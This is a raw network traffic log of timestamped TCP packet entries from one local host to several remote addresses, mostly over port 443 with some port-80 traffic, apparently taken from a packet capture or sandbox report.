Nov 11, 2024 21:59:17.810357094 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.810364008 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.848603010 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:17.848655939 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:17.848798037 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:17.850878954 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:17.850889921 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:17.852858067 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.854202986 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.854242086 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.854718924 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.854724884 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.859936953 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.861207962 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.861236095 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.861675978 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.861680984 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.897627115 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.897644997 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.897690058 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.897708893 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.897747040 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.898685932 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.898772001 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.898822069 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.900444984 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.900464058 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.900475979 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.900480986 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.902376890 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.902385950 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.902597904 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.902602911 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.910209894 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.910238981 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.910356045 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.912332058 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.912343979 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.913933992 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.913959980 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.914211988 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.914366007 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.914382935 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.946057081 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.946080923 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.946176052 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.946196079 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.946249962 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.946254969 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.946276903 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.946528912 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.953538895 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.953558922 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.953615904 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.953649044 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.953670979 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.960172892 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.966362000 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.966362000 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.966378927 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.966384888 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.966387987 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.966403008 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.966418982 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.966425896 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.977672100 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.977694035 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.977771044 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.978842974 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.978852987 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.979641914 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.979674101 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.979732037 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.979883909 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.979898930 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.983700991 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.984069109 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.984088898 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.984946966 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.984951973 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.071369886 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.071439028 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.071490049 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.073105097 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:19.073184967 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:19.074994087 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.075015068 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.075026035 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.075031996 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.077955961 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:19.078048944 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:19.078658104 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.078696966 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.078948021 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.081022024 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.081033945 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.083842993 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.083875895 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.083986044 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.088391066 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.088401079 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.170579910 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.171020985 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.171041965 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.171595097 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.171600103 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.171880007 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.172470093 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.172492981 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.172699928 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.172724009 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.173093081 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.173099995 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.173715115 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.173732042 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.174143076 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.174146891 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.174578905 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.174599886 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.174909115 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.174912930 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.215475082 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:19.215574026 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:19.217899084 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:19.217907906 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:19.218158960 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:19.244689941 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:19.244754076 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:19.263381004 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.263580084 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.263648033 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.264530897 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.264591932 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.264659882 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.266424894 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.266444921 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.266491890 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.266526937 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.266539097 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.266649008 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.267895937 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.267911911 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.267921925 CET	58702	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.267926931 CET	443	58702	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.269134998 CET	58703	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.269150019 CET	443	58703	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.270679951 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.270698071 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.270711899 CET	58701	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.270718098 CET	443	58701	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.272200108 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:19.278219938 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.278225899 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.278235912 CET	58700	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.278239012 CET	443	58700	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.291606903 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:19.294117928 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.294143915 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.294344902 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.296489000 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:19.296531916 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.296544075 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.298495054 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.298547983 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.298661947 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.298799038 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.298815012 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.353343964 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.353389025 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.353466988 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.372211933 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.372250080 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.372489929 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.372728109 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.372749090 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.373594999 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.373609066 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.502780914 CET	49703	443	192.168.2.5	23.1.237.91
Nov 11, 2024 21:59:19.593946934 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:19.594010115 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:19.594088078 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:19.594191074 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:19.594245911 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:19.594350100 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:19.594424009 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:19.594444990 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:19.594527960 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:19.594542027 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:19.601933956 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:19.601964951 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:19.602030993 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:19.602844954 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:19.602854967 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:19.605870962 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.607063055 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.607105970 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.607563972 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.607572079 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.674971104 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.676106930 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.676120996 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.676521063 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.676534891 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.676611900 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.676623106 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.676667929 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.677309990 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.678774118 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.678839922 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.679004908 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.679013968 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.699601889 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.699846983 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.699899912 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.769921064 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.783282995 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.783309937 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.783332109 CET	58707	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.783339024 CET	443	58707	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.810069084 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.815587044 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.825103998 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.825134993 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.825850964 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.825858116 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.839318991 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.839349985 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.839792013 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.839797974 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.847206116 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.847263098 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.847310066 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.847328901 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.849997997 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.850055933 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.850063086 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.855149031 CET	58723	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.855180979 CET	443	58723	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.855235100 CET	58723	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.855365038 CET	58723	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.855371952 CET	443	58723	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.856204987 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.856256008 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.856266975 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.861975908 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.862099886 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.862124920 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.867595911 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.867671013 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.867679119 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.873367071 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.873421907 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.873431921 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.885153055 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.889770031 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.936775923 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.936845064 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.936911106 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.938164949 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938170910 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.938213110 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938220978 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:19.938220978 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.938231945 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938270092 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938297987 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.938299894 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.938304901 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938406944 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.938487053 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938556910 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938587904 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.938605070 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.938611031 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.939992905 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.939997911 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.942130089 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.945775986 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.945784092 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.947885990 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.949769974 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.949774981 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.953849077 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.957602024 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.957608938 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.958103895 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:19.959578037 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.959629059 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.959635019 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.966486931 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.966547966 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.966563940 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.971204042 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.971296072 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.971304893 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.976691961 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.976726055 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.976732969 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.982255936 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.982301950 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:19.982309103 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:19.982423067 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:19.982481956 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:19.991453886 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.003321886 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.003361940 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.003380060 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.003390074 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.003432035 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.009334087 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.019187927 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.019231081 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.019335032 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.019462109 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.019510031 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.019510984 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.019522905 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.019576073 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.019586086 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.019623041 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.020015001 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.020024061 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.020298958 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.020298958 CET	58712	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.020342112 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.020354986 CET	443	58712	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.021440983 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.021704912 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.021744013 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.021763086 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.021770954 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.021800041 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.021805048 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.022435904 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.022437096 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.022447109 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.022480011 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.022490978 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.022499084 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.022758007 CET	443	58704	142.250.186.161	192.168.2.5
